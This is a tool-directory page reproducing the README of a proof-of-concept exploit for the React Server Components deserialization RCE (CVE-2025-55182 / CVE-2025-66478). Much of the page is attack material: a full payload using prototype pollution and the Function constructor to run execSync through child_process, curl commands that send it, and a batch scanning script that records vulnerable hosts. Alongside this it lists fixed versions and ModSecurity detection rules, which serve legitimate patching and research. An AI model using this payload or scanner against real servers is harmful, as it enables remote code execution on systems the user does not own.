Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-POC — React2Shell(CVE-2025-55182)とNext.js RSC RCE(CVE-2025-66478)の脆弱性を再現するための最小限のMVP。エクスプロイトペイロード、バッチスキャンスクリプト、緩和のためのModSecurity WAFルールを含みます。 | Kitploit
ツール/GitHubGitHub/huahuai23/cve-2025-55182-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

React2Shell(CVE-2025-55182)とNext.js RSC RCE(CVE-2025-66478)の脆弱性を再現するための最小限のMVP。エクスプロイトペイロード、バッチスキャンスクリプト、緩和のためのModSecurity WAFルールを含みます。

リポジトリを見る
129ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 / CVE-2025-66478 脆弱性再現環境

これは React2Shell (CVE-2025-55182) および Next.js RSC RCE (CVE-2025-66478) の脆弱性を再現するための最小限の MVP です。

⚠️ 警告

このプロジェクトはセキュリティ研究および教育目的のみに使用してください。本番環境や許可のないシステムでは使用しないでください。

脆弱性の概要

CVE-2025-55182 は React Server Components における深刻な脆弱性であり、以下に影響します:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

攻撃者は特別に細工した multipart/form-data リクエストを利用して Flight Protocol の逆シリアル化の脆弱性を悪用し、リモートコード実行(RCE)を達成できます。

攻撃の原理

  1. Chunk 参照の取得: $@N 構文を使用して内部の Chunk オブジェクトを取得する
  2. プロトタイプ汚染: $1:__proto__:then を通じて悪意のある then メソッドを注入する
  3. 実行のトリガー: Server Action が await の際に汚染された then メソッドを呼び出す
  4. コンストラクタのハイジャック: _formData.get を Function コンストラクタにハイジャックする
  • コード実行: Blob の逆シリアル化を通じて任意のコードを実行する
  • クイックスタート

    1. 依存関係のインストール

    root@kitploit:~
    npm install
    # 或
    yarn install
    # 或
    pnpm install
    

    2. 開発サーバーの起動

    root@kitploit:~
    npm run dev
    

    サーバーは http://localhost:3000 で起動します。

    3. 脆弱性のテスト

    提供されているテストスクリプトを使用します:

    root@kitploit:~
    # 单个目标测试
    ./test-exploit.sh http://localhost:3000
    
    # 或直接使用 curl
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      --data-binary @exploit-payload.txt
    

    脆弱性が存在する場合、レスポンスに uid= のような出力(id コマンドの実行結果)が表示されます。

    ファイル構造

    root@kitploit:~
    .
    ├── app/
    │   ├── actions.ts              # Server Actions(漏洞触发点)
    │   ├── page.tsx                # 主页面
    │   ├── layout.tsx              # 布局
    │   └── globals.css             # 全局样式
    ├── package.json                # 依赖配置(使用受影响版本)
    ├── next.config.js              # Next.js 配置
    ├── test-exploit.sh             # 单个目标漏洞测试脚本
    ├── scan-targets.sh             # 批量扫描脚本
    ├── exploit-payload.txt         # Exploit payload 文件
    ├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity 防护规则
    └── README.md                   # 本文件
    

    テストスクリプトの説明

    1. test-exploit.sh - 単一ターゲットのテスト

    単一の URL に脆弱性が存在するかテストします:

    root@kitploit:~
    chmod +x test-exploit.sh
    ./test-exploit.sh http://localhost:3000
    

    特徴: レスポンスに uid= または gid= が含まれる場合、脆弱性が存在することを示します。

    2. scan-targets.sh - バッチスキャン

    複数のターゲット URL をバッチスキャンします:

    root@kitploit:~
    # 创建目标列表文件
    cat > targets.txt << EOF
    http://localhost:3000
    https://example.com
    https://api.example.com:8080
    EOF
    
    # 执行批量扫描
    chmod +x scan-targets.sh
    ./scan-targets.sh targets.txt
    

    スキャン結果は vulnerable_hosts.csv に保存されます。

    Payload 構造の解析

    root@kitploit:~
    {
      "then": "$1:__proto__:then",           // 劫持 then 方法
      "status": "resolved_model",             // 控制执行路径
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",      // 触发 Blob 反序列化
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"  // 劫持为 Function
        }
      }
    }
    

    重要なポイント:

    1. $@0: 最初の form-data フィールドを参照して Chunk オブジェクトを取得する
    2. $1:proto:then: Chunk.prototype.then にアクセスする
    3. _response._prefix: 注入された悪意のあるコード(Function コンストラクタによって実行される)
    4. $1:constructor:constructor: Object.constructor.constructor = Function

    修正方法

    方法 1: 修正済みバージョンへのアップグレード(推奨)

    • React: 19.0.1, 19.1.2, 19.2.1 以降
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 以降
    root@kitploit:~
    npm install [email protected] [email protected] [email protected]
    

    方法 2: ModSecurity WAF ルールの導入(一時的な緩和策)

    すぐにアップグレードできない場合は、ModSecurity ルールを導入して一時的に緩和できます。

    Apache + mod_security

    root@kitploit:~
    # 1. 安装 mod_security
    sudo apt-get install libapache2-mod-security2
    
    # 2. 复制规则文件
    sudo cp modsecurity-rules.conf /etc/modsecurity/
    
    # 3. 在 Apache 配置中引入规则
    sudo vim /etc/apache2/mods-enabled/security2.conf
    # 添加: Include /etc/modsecurity/modsecurity-rules.conf
    
    # 4. 重启 Apache
    sudo systemctl restart apache2
    

    Nginx + ModSecurity

    root@kitploit:~
    # 1. 安装 ModSecurity for Nginx
    sudo apt-get install libnginx-mod-security
    
    # 2. 复制规则文件
    sudo cp modsecurity-rules.conf /etc/nginx/modsec/
    
    # 3. 在 Nginx 配置中启用
    sudo vim /etc/nginx/nginx.conf
    # 在 http 或 server 块中添加:
    # modsecurity on;
    # modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
    
    # 4. 重启 Nginx
    sudo systemctl restart nginx
    

    ルールの検出特徴

    ModSecurity ルールは以下の特徴をブロックします:

    • ✅ Flight Protocol の特徴($@N, $BN)
    • ✅ プロトタイプ汚染(__proto__, constructor:constructor)
    • ✅ 危険な Node.js モジュール呼び出し(process.mainModule.require, require('child_process'))
    • ✅ コマンド実行関数(execSync, exec)
    • ✅ 内部オブジェクト操作(_response, _chunks, _formData, _prefix)
    • ✅ Server Action リクエストヘッダー(Next-Action, RSC-Action-ID)

    ⚠️ 注意: WAF ルールは一時的な緩和策に過ぎず、完全な保護を提供するものではありません。修正済みバージョンへのアップグレードが必要です。

    セキュリティ推奨事項

    アプリケーションが影響を受ける可能性がある場合:

    1. すぐに検出: test-exploit.sh スクリプトを使用してアプリケーションをテストする
    2. すぐにアップグレード: 修正済みバージョンにアップグレードする
    3. キーのローテーション: すべての環境変数、API キー、データベースパスワードをローテーションする
    4. ログの監査: アクセスログを確認し、不審な Next-Action リクエストを探す
    5. WAF の導入: アップグレード前に ModSecurity ルールを一時的な防御として導入する

    クイックテスト用 curl コマンド

    スクリプトを使用せずに curl で直接テストする場合:

    root@kitploit:~
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      --data-binary @exploit-payload.txt
    

    レスポンスに uid= または gid= が含まれる場合、脆弱性が存在することを示します。

    参考資料

    • Vercel 公式発表
    • React GHSA
    • Next.js GHSA
    • CVE PoC (React)
    • CVE Scanner (Next.js)
    • ModSecurity ドキュメント

    謝辞

    • Lachlan Davidson - この脆弱性を発見し、責任を持って報告しました
    • Meta Security & React Team
    • Vercel Team

    ライセンス

    このプロジェクトは教育目的のみに使用されます。本コードを使用する際は、関連する法律および規制を遵守してください。

    ツールをダウンロード